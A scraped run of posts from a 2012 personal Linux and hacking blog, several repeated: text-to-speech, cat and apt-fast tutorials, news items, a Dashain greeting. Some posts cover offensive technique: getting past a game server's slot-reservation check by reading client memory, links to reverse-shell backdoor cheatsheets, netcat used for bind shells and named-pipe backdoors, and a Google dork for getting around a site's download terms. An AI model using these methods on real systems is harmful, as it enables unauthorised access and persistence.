The syntax of alias is: alias "alias_name" "cmd1; cmd2; ...; cmdn" And here we've just created an alias "amxresXXXX" which does nothing since the commands list is missing there.
The tool I've used here is ArtMoney available for download at http://www.artmoney.ru/e_download_se.htm In case, the site goes down, you can get it from here: http://www.4shared.com/file/wm7V4pgv/artmoney740eng.html
Several similar tools exist & are available for free. Some of them are CheatEngine (http://cheatengine.org/downloads.php) and Poke (http://codefromthe70s.org/poke.aspx)
Check the video below for more information:
Read more...
format(g_cmdLoopback, 15, "amxres%c%c%c%c", random_num('A', 'Z'), random_num('A', 'Z'), random_num('A', 'Z'), random_num('A', 'Z'))
The bruteforce space is quite small, 4 uppercase characters from A-Z i.e. 26 * 26 * 26 * 26 combination is the maximum amount of search required to find the random part of the command. Hence, the command executed at client end is amxresXXXX where {X: X belongs to [A-Z]}. If there are still slots available for normal players or if the connecting user has slot reservation privilege, he will be able to connect to the server otherwise the server will kick the user. We are not going to bruteforce but we are going to use a memory viewer and editor software that is capable of reading the contents in the memory (RAM).
Basically, we hook into the Counter Strike client process from one of the freely available memory editors. We then connect to the server and get dropped due to the slot reservation message. In the meantime, the server sends the partial-random command.. FYI, these memory viewers make use of kernel APIs such as ReadProcessMemory() to read the memory layout of any process. We search for the initial part of the string which is amxres.
Once we find the unique string sent by server to our client, we use the alias command with amxresXXXX as our alias. For your info, alias provides a mechanism to group different commands to achieve something more useful.
The syntax of alias is: alias "alias_name" "cmd1; cmd2; ...; cmdn" And here we've just created an alias "amxresXXXX" which does nothing since the commands list is missing there.
The tool I've used here is ArtMoney available for download at http://www.artmoney.ru/e_download_se.htm In case, the site goes down, you can get it from here: http://www.4shared.com/file/wm7V4pgv/artmoney740eng.html
Several similar tools exist & are available for free. Some of them are CheatEngine (http://cheatengine.org/downloads.php) and Poke (http://codefromthe70s.org/poke.aspx)
Check the video below for more information:
Read more...
Bookmark this post: |
|
Make Your Linux Read Papers For You
Fed up of reading text files and PDF papers? Is you eye power degrading day by day and can't hold even few minutes on screen? Don't worry, you can easily make your linux system speak and read all those papers for you.
There are several text to speech tools available for linux but in this post, I will be using festival, a Text-to-speech (TTS) tool written in C++. Also, Ubuntu and its derivation are most likely to include by default espeak, a multi-lingual software speech synthesizer.
For ubuntu and debian based system, type the following to install festival:
Moreover, you can also install a pidgin plugin that uses festival:
For now, you just need to install festival. Once you have installed festival, you can make it read text files for you. If you go through the online manual of festival, it says:
"Festival works in two fundamental modes, command mode and text-to-speech mode (tts-mode). In command mode, information (in files or through standard input) is treated as commands and is interpreted by a Scheme interpreter. In tts-mode, information (in files or through standard input) is treated as text to be rendered as speech. The default mode is command mode, though this may change in later versions."
To read a text file, you can use the command below:
The festival will start in text-to-speech (tts) mode and will read your text files for you. But now, we want to read PDF files and if you try to read PDF files directly (festival --tts paper.pdf), festival is most likely to speak the cryptic terms since it actually reads the content of PDF including its header (You know PDF is different than simple text file). So we will use a pdftotext command to convert our pdf file and then pipe the output to the festival so that festival reads the PDF files for us. You can use the syntax as below to read PDF files.
If you want to skip all those table of contents and prefaces or if you are in the middle of PDF, you can use the switches of pdftotext to change the starting and ending pages. For example, if I wish to read page 10 - 14 of a PDF, I would do:
Enjoy learning. I hope this post helps you ;)
Read more...
There are several text to speech tools available for linux but in this post, I will be using festival, a Text-to-speech (TTS) tool written in C++. Also, Ubuntu and its derivation are most likely to include by default espeak, a multi-lingual software speech synthesizer.
For ubuntu and debian based system, type the following to install festival:
samar@samar-Techgaun:~$ sudo apt-get install festival
Moreover, you can also install a pidgin plugin that uses festival:
samar@samar-Techgaun:~$ sudo apt-get install pidgin-festival
For now, you just need to install festival. Once you have installed festival, you can make it read text files for you. If you go through the online manual of festival, it says:
"Festival works in two fundamental modes, command mode and text-to-speech mode (tts-mode). In command mode, information (in files or through standard input) is treated as commands and is interpreted by a Scheme interpreter. In tts-mode, information (in files or through standard input) is treated as text to be rendered as speech. The default mode is command mode, though this may change in later versions."
To read a text file, you can use the command below:
samar@samar-Techgaun:~$ festival --tts mypaper.txt
The festival will start in text-to-speech (tts) mode and will read your text files for you. But now, we want to read PDF files and if you try to read PDF files directly (festival --tts paper.pdf), festival is most likely to speak the cryptic terms since it actually reads the content of PDF including its header (You know PDF is different than simple text file). So we will use a pdftotext command to convert our pdf file and then pipe the output to the festival so that festival reads the PDF files for us. You can use the syntax as below to read PDF files.
samar@samar-Techgaun:~$ pdftotext paper.pdf - | festival --tts
If you want to skip all those table of contents and prefaces or if you are in the middle of PDF, you can use the switches of pdftotext to change the starting and ending pages. For example, if I wish to read page 10 - 14 of a PDF, I would do:
samar@samar-Techgaun:~$ pdftotext -f 10 -l 14 paper.pdf - | festival --tts
Enjoy learning. I hope this post helps you ;)
Read more...
Bookmark this post: |
|
Wednesday, 31 October 2012
CodeWeavers Announces Free CrossOver Giveaway
CodeWeavers, the developer of CrossOver has decided to run a 24-hour free giveaway for their famous wine-based product, CrossOver.
CrossOver allows you to install many popular Windows applications and PC games on your Linux computer. It's easy, affordable, and best of all, there's no Windows license required. Your Windows applications and games integrate seamlessly on your computer; just click and run. CrossOver is capable of running a wide range of Windows software and games.
On Wednesday, Oct. 31, 2012, beginning at 00:00 Central Time (-5 GMT), anyone visiting CodeWeavers’ Flock The Vote promotional web site (flock.codeweavers.com) will be able to download a free, fully functional copy of either CrossOver Mac or CrossOver Linux. Each copy comes complete with 12 months of support and product upgrades. Upon registering your name and e-mail address along with your version (CrossOver Mac or CrossOver Linux), you will get an e-mail with the instructions for download. The offer will continue for 24 hours, from 00:00 to 23:59, Oct. 31, 2012. Flock The Vote is an initiative to get more Americans to vote in the upcoming 2012 Presidential elections.
Update: direct download links:
32 bit Debian/Ubuntu
64 bit Debian/Ubuntu
32/64 bit Red Hat (Fedora, SUSE, Mandriva)
Installer for all other linux distros
Mac and Others
Sandy survivors, you can still get the offer from HERE.
Read more...
CrossOver allows you to install many popular Windows applications and PC games on your Linux computer. It's easy, affordable, and best of all, there's no Windows license required. Your Windows applications and games integrate seamlessly on your computer; just click and run. CrossOver is capable of running a wide range of Windows software and games.
On Wednesday, Oct. 31, 2012, beginning at 00:00 Central Time (-5 GMT), anyone visiting CodeWeavers’ Flock The Vote promotional web site (flock.codeweavers.com) will be able to download a free, fully functional copy of either CrossOver Mac or CrossOver Linux. Each copy comes complete with 12 months of support and product upgrades. Upon registering your name and e-mail address along with your version (CrossOver Mac or CrossOver Linux), you will get an e-mail with the instructions for download. The offer will continue for 24 hours, from 00:00 to 23:59, Oct. 31, 2012. Flock The Vote is an initiative to get more Americans to vote in the upcoming 2012 Presidential elections.
Get Free Copy Of CrossOver
Update: direct download links:
32 bit Debian/Ubuntu
64 bit Debian/Ubuntu
32/64 bit Red Hat (Fedora, SUSE, Mandriva)
Installer for all other linux distros
Mac and Others
Sandy survivors, you can still get the offer from HERE.
Read more...
Bookmark this post: |
|
Tuesday, 30 October 2012
Download MakeUseOf.com Guides - Google Dork
Well makeuseof.com guides are good read for the average computer users and sometimes the guide from them can be quite useful for startup in particular topic. But, I hate the ways we need to follow to download so here's a simple google dork to find PDFs from makeuseof.com
MakeUseOf.Com provides three methods to download the guides: social media sharing, 99 cent payment, and subscription to their newsletter. I hate when sites impose such things and here is how you can get those PDFs directly.
Go to google and type the following in search box:
or, CLICK HERE!!!
Enjoy free MakeUseOf.Com guides ;)
Read more...
MakeUseOf.Com provides three methods to download the guides: social media sharing, 99 cent payment, and subscription to their newsletter. I hate when sites impose such things and here is how you can get those PDFs directly.
Go to google and type the following in search box:
site:amazonaws.com inurl:makeuseof.com
or, CLICK HERE!!!
Enjoy free MakeUseOf.Com guides ;)
Read more...
Bookmark this post: |
|
Download Advanced NLP Documents
In this post, you will be able to download advanced natural language processing slides and assignments that were used as the study material during the course conducted in Kathmandu University on 27th August - 21st September, 2012.
The course program comprised of two graduate level courses, which are itself divided up into two modules. The two courses are: 1) Advanced Linguistic Resources; 2) Advanced Applications for Natural Language Processing. The official website for the course was up for a while but seems to be down now so I decided to upload these documents for you guys.
Module A: Grammars and Treebanks for Syntactic Processing
(Stefanie Dipper, Univ. Bochum and Heike Zinsmeister, Univ. Stuttgart)
Syntactic preprocessing is becoming more and more important for NLP applications, such as Anaphora Resolution or Phrase-Based Statistical Machine Translation (see Course 2). This course aims at getting students acquainted with relevant state-of-the-art resources for syntactic processing, teaching them how to use and evaluate them, and enabling them to create such resources on their own. Course topics include: symbolic and statistical models for syntactic processing for NLP applications; Resources for syntactic analysis — grammars and their use in parsers; annotated corpora — constituency- and dependency-based treebanks; evaluation measures for inter-annotator agreement and system evaluation. The course will be a combination of lectures and hands-on practice in applying and developing tools for syntactic processing. The lectures are complemented by extensive hands-on exercises. Students will be encouraged to practice and create their own resources.
Module B: Word and Verb Nets for Semantic Processing
(Miriam Butt, Univ. Konstanz and Annette Hautli, Univ. Konstanz)
The course will provide an introduction to existing lexical resources for English such as WordNet, VerbNet and PropBank and why they have proven to be useful for NLE. A WordNet, VerbNet and PropBank for Hindi are currently being created as part of various projects in India, the USA and Germany and the course will use the preliminary versions of the Hindi resources to introduce students to the special structures found in South Asian languages and to discuss where different design decisions need to be made. The course will also show students why it is important to understand established linguistic categories with regard to lexical structure and lexical semantics and how that can help guide the classification and encoding of lexical information in lexical resources in a manner that will be useful to NLE.
Module A: Statistical Machine Translation
(Alex Fraser, Univ. Stuttgart)
The goal of the course is to have students acquire in depth knowledge of statistical machine translation methods and be familiar with the relevant iterature and an open source statistical machine translation system. The course will cover: Basic statistical modeling for machine translation; Automatic and manual evaluation of machine translation output; Bitext alignment of parallel sentence pairs; Basic phrase-based statistical machine translation models and decoding; Log-linear models and minimum error rate training; Discriminative word alignment; morphological and syntactic modeling.
Module B: Automatic Speech Recognition
(Sarmad Hussain, Univ. of Engineering and Technology)
The course will start by covering articulatory and acoustic phonetics, followed by some basis understanding of speech processing needed to separate the phonetic content from a speech signal. The course will then develop an understanding of the Baysian model for speech recognition and its implementation using Hidden Markov Models, covering both training and decoding algorithms. Finally the course will focus on practical aspects of designing, developing and labeling a speech corpus and using tool-kits to develop speech recognition models. The course will have two labs, first on acoustic phonetics and second on developing a prototype speech recognition system with limited vocabulary.
Update
Thanks to Rohit Man Amatya, one of the participants of Summer School. He has written installation scripts for debian based systems and provided a list of what needs to be installed for working on the whole course. Plus the solutions for programming assignments.
Read more...
The course program comprised of two graduate level courses, which are itself divided up into two modules. The two courses are: 1) Advanced Linguistic Resources; 2) Advanced Applications for Natural Language Processing. The official website for the course was up for a while but seems to be down now so I decided to upload these documents for you guys.
Course 1: Advanced Resources for Natural Language Processing
Module A: Grammars and Treebanks for Syntactic Processing
(Stefanie Dipper, Univ. Bochum and Heike Zinsmeister, Univ. Stuttgart)
Syntactic preprocessing is becoming more and more important for NLP applications, such as Anaphora Resolution or Phrase-Based Statistical Machine Translation (see Course 2). This course aims at getting students acquainted with relevant state-of-the-art resources for syntactic processing, teaching them how to use and evaluate them, and enabling them to create such resources on their own. Course topics include: symbolic and statistical models for syntactic processing for NLP applications; Resources for syntactic analysis — grammars and their use in parsers; annotated corpora — constituency- and dependency-based treebanks; evaluation measures for inter-annotator agreement and system evaluation. The course will be a combination of lectures and hands-on practice in applying and developing tools for syntactic processing. The lectures are complemented by extensive hands-on exercises. Students will be encouraged to practice and create their own resources.
Module B: Word and Verb Nets for Semantic Processing
(Miriam Butt, Univ. Konstanz and Annette Hautli, Univ. Konstanz)
The course will provide an introduction to existing lexical resources for English such as WordNet, VerbNet and PropBank and why they have proven to be useful for NLE. A WordNet, VerbNet and PropBank for Hindi are currently being created as part of various projects in India, the USA and Germany and the course will use the preliminary versions of the Hindi resources to introduce students to the special structures found in South Asian languages and to discuss where different design decisions need to be made. The course will also show students why it is important to understand established linguistic categories with regard to lexical structure and lexical semantics and how that can help guide the classification and encoding of lexical information in lexical resources in a manner that will be useful to NLE.
Course 2: Advanced Applications for Natural Language Processing
Module A: Statistical Machine Translation
(Alex Fraser, Univ. Stuttgart)
The goal of the course is to have students acquire in depth knowledge of statistical machine translation methods and be familiar with the relevant iterature and an open source statistical machine translation system. The course will cover: Basic statistical modeling for machine translation; Automatic and manual evaluation of machine translation output; Bitext alignment of parallel sentence pairs; Basic phrase-based statistical machine translation models and decoding; Log-linear models and minimum error rate training; Discriminative word alignment; morphological and syntactic modeling.
Module B: Automatic Speech Recognition
(Sarmad Hussain, Univ. of Engineering and Technology)
The course will start by covering articulatory and acoustic phonetics, followed by some basis understanding of speech processing needed to separate the phonetic content from a speech signal. The course will then develop an understanding of the Baysian model for speech recognition and its implementation using Hidden Markov Models, covering both training and decoding algorithms. Finally the course will focus on practical aspects of designing, developing and labeling a speech corpus and using tool-kits to develop speech recognition models. The course will have two labs, first on acoustic phonetics and second on developing a prototype speech recognition system with limited vocabulary.
Download Course Material
Update
Thanks to Rohit Man Amatya, one of the participants of Summer School. He has written installation scripts for debian based systems and provided a list of what needs to be installed for working on the whole course. Plus the solutions for programming assignments.
Summer School @ GitHub
Read more...
Bookmark this post: |
|
Sunday, 28 October 2012
Think Like A Hacker For Better Security Awareness
52% of businesses experienced more malware infections as a result of employees on social media. This whitepaper provides an insight on how to think like a hacker for better security awareness.
Security awareness is mostly about common sense, and thinking like the hackers to understand what security weaknesses they look for. But like other security precautions, it's easy to let down your guard.
Security awareness education can arm your staff with the skills to practice safe Internet usage - to reduce malware and other cyber threats. The whitepaper entitled Takes One to Know One: Think Like a Hacker for Better Security Awareness is a must read for making yourself aware of security in this digital world.
In this paper, find out:
Read more...
Security awareness is mostly about common sense, and thinking like the hackers to understand what security weaknesses they look for. But like other security precautions, it's easy to let down your guard.
Security awareness education can arm your staff with the skills to practice safe Internet usage - to reduce malware and other cyber threats. The whitepaper entitled Takes One to Know One: Think Like a Hacker for Better Security Awareness is a must read for making yourself aware of security in this digital world.
In this paper, find out:
- Best ways to deliver a security awareness program
- What you should teach your staff
- How to make security awareness a priority
Download The Whitepaper
Read more...
Bookmark this post: |
|
Saturday, 27 October 2012
Steam for Linux Beta Survey Is Out
Lately, Valve Software, the vendor for steam has been showing lots of interest to develop games for linux platforms and offer linux users one of the best gaming experiences. Valve has today announced its survey for steam for linux beta.
Valve Software writes: We're looking for Linux gamers to install and test our new Steam for Linux client. We are primarily interested in experienced Linux users.
In order to take the survey, you need to first login with your Steam account to link your response with your Steam ID. Once you are ready for beta testing, you can login from this link. 1000 steam users will be chosen based upon the responses in the survey.
Steam community recently got its dedicated linux section and good for us, all these signs seem to indicate that Valve is trying to extend its market over the linux platform.
Read more...
Valve Software writes: We're looking for Linux gamers to install and test our new Steam for Linux client. We are primarily interested in experienced Linux users.
In order to take the survey, you need to first login with your Steam account to link your response with your Steam ID. Once you are ready for beta testing, you can login from this link. 1000 steam users will be chosen based upon the responses in the survey.
Steam community recently got its dedicated linux section and good for us, all these signs seem to indicate that Valve is trying to extend its market over the linux platform.
Read more...
Bookmark this post: |
|
Accelerate Your Softwares Update Speed Using Apt-fast
Long ago, I had posted about apt-fast script which used axel to create multiple HTTP connections and increase the download speed of software updates and packages. In this post, you will get the details for installing apt-fast from PPA.
apt-fast is a shellscript wrapper for apt-get and aptitude that can drastically improve apt download times by downloading packages in parallel, with multiple connections per package.
As a pre-requisite, we will first install axel, a simple yet very useful command line download accelerator. Alternatively, you can also use aria accelerator with apt-fast.
Then you will have to add a PPA for apt-fast, update the database, and install apt-fast.
You need to configure few options afterwards as below:
For manual installation and grabbing the source code, check the GitHub.
Once you install apt-fast, you can install softwares and perform updates from the repos using the command below:
I hope this becomes useful :)
Read more...
As a pre-requisite, we will first install axel, a simple yet very useful command line download accelerator. Alternatively, you can also use aria accelerator with apt-fast.
samar@samar-Techgaun:~$ sudo apt-get install axel
Then you will have to add a PPA for apt-fast, update the database, and install apt-fast.
samar@samar-Techgaun:~$ sudo add-apt-repository ppa:apt-fast/stable samar@samar-Techgaun:~$ sudo apt-get update samar@samar-Techgaun:~$ sudo apt-get install apt-fast
You need to configure few options afterwards as below:
For manual installation and grabbing the source code, check the GitHub.
Once you install apt-fast, you can install softwares and perform updates from the repos using the command below:
samar@samar-Techgaun:~$ sudo apt-fast install package_name
I hope this becomes useful :)
Read more...
Bookmark this post: |
|
Linux Cat Command Examples
The cat command displays the content of file on the standard output. If multiple files are specified, the contents of all files will be concatenated and then displayed on the standard output. Likewise, if no file is specified, it will assume standard input (keyboard input) as the input to the command. The Ctrl + d is the shortcut used to save the contents in the appropriate output placeholder specified and exit the cat command.
Print content of file in standard output
samar@samar-Techgaun:~$ cat workers.txt List of workers, designations & salary (in K): Kshitiz Director 30 Bikky Manager 20 Abhis Sweeper 10 Rajesh Guard 12
Print line numbers
samar@samar-Techgaun:~$ cat -n workers.txt
1 List of workers, designations & salary (in K):
2 Kshitiz Director 30
3 Bikky Manager 20
4
5
6 Abhis Sweeper 10
7 Rajesh Guard 12
Print line numbers for non-empty lines only
samar@samar-Techgaun:~$ cat -b workers.txt
1 List of workers, designations & salary (in K):
2 Kshitiz Director 30
3 Bikky Manager 20
4 Abhis Sweeper 10
5 Rajesh Guard 12
Create a new file
samar@samar-Techgaun:~$ cat > newfile.txt We can create text files using cat command once u finish writing, press ctrl+d to save file ^d
Display content of multiple files
samar@samar-Techgaun:~$ cat workers.txt newfile.txt List of workers, designations & salary (in K): Kshitiz Director 30 Bikky Manager 20 Abhis Sweeper 10 Rajesh Guard 12 We can create text files using cat command once u finish writing, press ctrl+d to save file
Combine multiple files to new file
samar@samar-Techgaun:~$ cat workers.txt newfile.txt > concat.txt samar@samar-Techgaun:~$ cat concat.txt List of workers, designations & salary (in K): Kshitiz Director 30 Bikky Manager 20 Abhis Sweeper 10 Rajesh Guard 12 We can create text files using cat command once u finish writing, press ctrl+d to save file
Append data to existing file
samar@samar-Techgaun:~$ cat >> newfile.txt New line added ^d samar@samar-Techgaun:~$ cat newfile.txt We can create text files using cat command once u finish writing, press ctrl+d to save file New line added
Alternatively, you can use the syntax below if you wish to create new file combining the content of already existing file and standard input.
samar@samar-Techgaun:~$ cat newfile.txt - > myfile thanks for everything ^d samar@samar-Techgaun:~$ cat myfile We can create text files using cat command once u finish writing, press ctrl+d to save file New line added thanks for everything
Another possibility is to combine two text files with data from standard input (keyboard) in-between the contents of these two text files.
samar@samar-Techgaun:~$ cat workers.txt - newfile.txt > myfile ---------------------------------- ^d samar@samar-Techgaun:~$ cat myfile List of workers, designations & salary (in K): Kshitiz Director 30 Bikky Manager 20 Abhis Sweeper 10 Rajesh Guard 12 ---------------------------------- We can create text files using cat command once u finish writing, press ctrl+d to save file New line added
Display $ sign at the end of each line
samar@samar-Techgaun:~$ cat -E workers.txt List of workers, designations & salary (in K):$ Kshitiz Director 30$ Bikky Manager 20$ $ $ Abhis Sweeper 10$ Rajesh Guard 12$
Display ^I sign instead of TABs
samar@samar-Techgaun:~$ cat -T workers.txt List of workers, designations & salary (in K): Kshitiz^IDirector^I30 Bikky^IManager^I^I20 Abhis^ISweeper^I^I10 Rajesh^IGuard^I^I12
Display files with non-printing characters
samar@samar-Techgaun:~$ cat -v /bin/nc
In the example above, the non-printing characters are replaced with ^ and M- notation except for line breaks and TABs. This can be used to display the contents of binary files which would otherwise have shown gibberish text all over the console.
Show contents with tabs, line breaks and non-printing characters
samar@samar-Techgaun:~$ cat -A /bin/nc
The tab will be substituted by ^I, line breaks with $ and non-printing characters with ^ and M- notation. Actually, the -A switch is equivalent to -vET switch.
Supress/squeeze repeated empty lines
samar@samar-Techgaun:~$ cat -s workers.txt List of workers, designations & salary (in K): Kshitiz Director 30 Bikky Manager 20 Abhis Sweeper 10 Rajesh Guard 12
Using -s switch, we can squeeze repeatedly occurring blank lines and replace all the adjacent empty lines with a single empty line in the output. This might be useful to reformat a file with several empty lines in-between (eg. cat -s workers.txt > formatted_workers.txt).
Display last line first
samar@samar-Techgaun:~$ tac workers.txt Rajesh Guard 12 Abhis Sweeper 10 Bikky Manager 20 Kshitiz Director 30 List of workers, designations & salary (in K):
It is the tac, not the cat that is doing the magic but just thought that this is the right place to make a note about this little known command.
Edit: Added here-doc examples. Thanks rho dai for pointing me this.
Parameter substitution using here-document strings
samar@samar-Techgaun:~$ cat > test << TEST samar@samar-Techgaun:~$ I am $USER. My home is $HOME samar@samar-Techgaun:~$ I came here from $OLDPWD samar@samar-Techgaun:~$ TEST samar@samar-Techgaun:~$ cat test I am samar. My home is /home/samar I came here from /home/samar/Downloads
Command expansion example
samar@samar-Techgaun:~$ cat > test << TEST samar@samar-Techgaun:~$ $(ls /) samar@samar-Techgaun:~$ TEST samar@samar-Techgaun:~$ cat test bin boot cdrom dev etc home initrd.img initrd.img.old lib lost+found media mnt opt proc root run sbin selinux srv sys tmp usr var vmlinuz vmlinuz.old
Parameter substitution turned off
samar@samar-Techgaun:~$ cat > test << 'TEST' samar@samar-Techgaun:~$ I am $USER. My home is $HOME samar@samar-Techgaun:~$ I came here from $OLDPWD samar@samar-Techgaun:~$ TEST samar@samar-Techgaun:~$ cat test I am $USER. My home is $HOME I came here from $OLDPWD
Note the difference between the last example and previous two examples. Enclosing the limit string TEST with quotes prevents the substitutions and expansions.
I hope these examples are useful. :)
Read more...
Bookmark this post: |
|
Wednesday, 24 October 2012
Happy Vijaya Dashami 2069
Techgaun team would like to wish all our site visitors happy vijaya dashami 2069. May this dashain bring peace and prosperity in everyone's life and may the world be more peaceful place than ever.
I would like to include blessings (ashirbad / आशिर्वाद) offered during Dashain.
The mantra below is enchanted when elders offer tika to male member:
आयुर द्रोण सुते श्रेयम दशरथे , सत्रुक क्षेयम रघवे, ऐश्र्वर्यम नहुशे , गतिस्च पवने, मानन्च दुर्योधने, सौर्यम शान्त नवे, बलम हलधरे , सत्यस्च कुन्तीसुते , बिज्ञ।न बिदुरे, भवन्तु भबताम, किर्तिस्च नारायणे!
Ayur Drona sute sriyem Dasarathe, Satruk ksheyam Raghave, Yaishoryem Nahushe, Gatischa pawane, Manancha Duryodhane, Suaryam Shanta nave, Balam Haldhare, Satyaschha Kuntisute, Bigyanam Bidure, Bhawanu Bhabatam, Kirtischha Narayane!
The mantra below is enchanted when the tika is offered to the female members:
ॐ जयन्ती मङ्गला काली भद्रकाली कपालिनी । दुर्गा क्ष्यमा शिवा धात्री स्वहा स्वधा नमोस्तु ते ।।
Om Jayanti Mangala Kaali Bhadra Kali Kapalini Durga Kshyama shiva dhatri swaha swadha namostu te
Read more...
I would like to include blessings (ashirbad / आशिर्वाद) offered during Dashain.
The mantra below is enchanted when elders offer tika to male member:
आयुर द्रोण सुते श्रेयम दशरथे , सत्रुक क्षेयम रघवे, ऐश्र्वर्यम नहुशे , गतिस्च पवने, मानन्च दुर्योधने, सौर्यम शान्त नवे, बलम हलधरे , सत्यस्च कुन्तीसुते , बिज्ञ।न बिदुरे, भवन्तु भबताम, किर्तिस्च नारायणे!
Ayur Drona sute sriyem Dasarathe, Satruk ksheyam Raghave, Yaishoryem Nahushe, Gatischa pawane, Manancha Duryodhane, Suaryam Shanta nave, Balam Haldhare, Satyaschha Kuntisute, Bigyanam Bidure, Bhawanu Bhabatam, Kirtischha Narayane!
The mantra below is enchanted when the tika is offered to the female members:
ॐ जयन्ती मङ्गला काली भद्रकाली कपालिनी । दुर्गा क्ष्यमा शिवा धात्री स्वहा स्वधा नमोस्तु ते ।।
Om Jayanti Mangala Kaali Bhadra Kali Kapalini Durga Kshyama shiva dhatri swaha swadha namostu te
Happy Vijaya Dashami 2069
Read more...
Bookmark this post: |
|
Monday, 22 October 2012
Reverse Shell Backdoor Cheatsheets Collection
Once you find your way to command execution after exploiting any of the flaws in web-apps, you look for interactive shell. You can do so by binding shell in some port or using reverse shell backdoor.
Here are few links with awesome backdoor cheatsheet collections for obtaining reverse shell using different scripting languages:
PentestMonkey's Cheatsheet
Bernardo's Reverse Shells One-liners
GNU Citizen
In case you can't access pentest monkey, below is the cheatsheet in PNG format:
Read more...
PentestMonkey's Cheatsheet
Bernardo's Reverse Shells One-liners
GNU Citizen
In case you can't access pentest monkey, below is the cheatsheet in PNG format:
Read more...
Bookmark this post: |
|
Ubuntu Tweak Development Will Continue
Three days ago, Ubuntu Tweak developer Tualatrix had posted a blog post mentioning that the Ubuntu Tweak will no longer be developed but he has now changed his mind and has decided to continue the development because of support he received.
The developer writes
You made me know that Ubuntu Tweak is still valuable, and as the first software project I made 5 years ago, it is just like my baby, I don’t really want to give up the development.
and thanks all the good people who left the message for him and forked the app in github.
The blog post also mentions
Back to 5 years ago, I developed it just because of my practice on Linux programming, I felt freedom when I make things on Linux (Although I didn’t have developing experience on Windows and Mac then). But now I don’t feel any freedom about developing this software any more. The initial motivation is changed, and I’m still looking for new motivation.
Overall, he is not too satisfied with his current overload for working on this personal project while still managing time for his job and personal life.
Anyway, Ubuntu Tweak 0.8.1 is out and you can download from PPA.
PPA DEB link
Release Notes
Read more...
The developer writes
You made me know that Ubuntu Tweak is still valuable, and as the first software project I made 5 years ago, it is just like my baby, I don’t really want to give up the development.
and thanks all the good people who left the message for him and forked the app in github.
The blog post also mentions
Back to 5 years ago, I developed it just because of my practice on Linux programming, I felt freedom when I make things on Linux (Although I didn’t have developing experience on Windows and Mac then). But now I don’t feel any freedom about developing this software any more. The initial motivation is changed, and I’m still looking for new motivation.
Overall, he is not too satisfied with his current overload for working on this personal project while still managing time for his job and personal life.
Anyway, Ubuntu Tweak 0.8.1 is out and you can download from PPA.
PPA DEB link
Release Notes
Read more...
Bookmark this post: |
|
Ninja Fu With Netcat - Hacker's Swiss Army Knife
Netcat is one of my favorite tools for network investigations and backdoor planting. Netcat is a seemingly simple but very powerful and useful tool to read and write network connections using TCP or UDP. In this post, we will see several examples of using netcat in different scenarios.
First of all, if you are using distros like Ubuntu, they are probably including the OpenBSD netcat which does not provide a very useful switch that lets us execute any command. The netcat-traditional offers this switch so for learning purpose, you should install the netcat-traditional package by issuing the command below in Ubuntu & its derivatives (However, beware of inherent risk with this feature of the traditional netcat):
Now you can use both OpenBSD and traditional versions by using nc.openbsd and nc.traditional respectively. However, the nc command might still be symbolically linked with nc.openbsd (/etc/alternatives/nc). If you want to permanently use nc to refer nc.traditional, type the following command (or do sudo rm /bin/nc && sudo ln -s /bin/nc.traditional /bin/nc):
As I had already said, netcat is a very useful tool for network related works and hence often referred as Hacker's Swiss Army Knife and TCP/IP Swiss Army Knife. You can use netcat for several purposes such as file transfer, port scanning, listen server, bind & reverse shells, backdoors, etc. Because of this, netcat has been a favorite tool for hackers to get and maintain access to the servers.
Before beginning with the examples, I would like to inform you that most of the times ports above 1024 are used to create listen servers with netcat. This is because ports below 1024 are reserved by OS for core network services and you can not bind to these ports without special privilege to the system.
Once the client gets connected, the netcat listener might then look like this:
Noticed the port 38700 in the end? This is the port that the client uses to talk with the server. Observe that the value is much higher than 1024 and hence such ports are known as ephemeral port.
Once the client and server get connected, you can write anything and press ENTER. The data will get transmitted to the other end thus making netcat a data transfer tool.
As seen above, I opened the RAW connection to ku.edu.np and then issued HEAD / HTTP/1.0\n\n request to obtain the HTTP header. You can also notice (see web server version & PHP version?) that netcat can be used for basic fingerprinting and banner grabbing. Of course, this is not limited to HTTP fingerprinting. Extend the idea to work with other services.
This example taken from Wiki entry works as a one shot webserver hosting the my_file's content which can be accessed through web browser by specifying http://server:8080.
To transfer file from server to client, set up the server as below:
In the client end, do:
If you wish to scan number of hosts (or full network), you can do something like below:
In the first example, ports 1-1024 are scanned in the host 192.168.1.1 and in the second example, a class C network 192.168.1.0/24 is scanned. However, netcat is by no means an advanced port scanner and tools such as nmap are great for this job.
The -e switch can be specified to spawn a process in the system. In the server, type the command below:
At the other end, you will just connect to the just started netcat service and then issue any command that the bash recognizes. Good for shells in the servers, isn't it?
Since the normal pipe (|) is not so reliable & works in a unidirectional fashion, linux offers something called named pipes which can be exploited to create advanced backdoor in the systems which might not consist the netcat with -e support.
At the other end, you just need to connect to the newly created netcat service port:
I hope this post provides some directions on how to work with netcat and proves that netcat is called TCP/IP swiss army knife for the reason. There are other several possibilities with netcat. Explore to get more out of this awesome tool. ;)
Read more...
First of all, if you are using distros like Ubuntu, they are probably including the OpenBSD netcat which does not provide a very useful switch that lets us execute any command. The netcat-traditional offers this switch so for learning purpose, you should install the netcat-traditional package by issuing the command below in Ubuntu & its derivatives (However, beware of inherent risk with this feature of the traditional netcat):
samar@samar-Techgaun:~$ sudo apt-get install netcat-traditional
Now you can use both OpenBSD and traditional versions by using nc.openbsd and nc.traditional respectively. However, the nc command might still be symbolically linked with nc.openbsd (/etc/alternatives/nc). If you want to permanently use nc to refer nc.traditional, type the following command (or do sudo rm /bin/nc && sudo ln -s /bin/nc.traditional /bin/nc):
samar@samar-Techgaun:~$ sudo update-alternatives --config nc
As I had already said, netcat is a very useful tool for network related works and hence often referred as Hacker's Swiss Army Knife and TCP/IP Swiss Army Knife. You can use netcat for several purposes such as file transfer, port scanning, listen server, bind & reverse shells, backdoors, etc. Because of this, netcat has been a favorite tool for hackers to get and maintain access to the servers.
Before beginning with the examples, I would like to inform you that most of the times ports above 1024 are used to create listen servers with netcat. This is because ports below 1024 are reserved by OS for core network services and you can not bind to these ports without special privilege to the system.
Simple Netcat Listen Server
samar@samar-Techgaun:~$ nc -lvp 1234
listening on [any] 1234 ...
listening on [any] 1234 ...
Simple Netcat Client
samar@samar-Techgaun:~$ nc -vvn 192.168.1.6 1234
(UNKNOWN) [192.168.1.6] 1234 (?) open
(UNKNOWN) [192.168.1.6] 1234 (?) open
Once the client gets connected, the netcat listener might then look like this:
samar@samar-Techgaun:~$ nc -lvp 1234
listening on [any] 1234 ...
connect to [192.168.1.6] from samar-Techgaun.local [192.168.1.6] 38700
listening on [any] 1234 ...
connect to [192.168.1.6] from samar-Techgaun.local [192.168.1.6] 38700
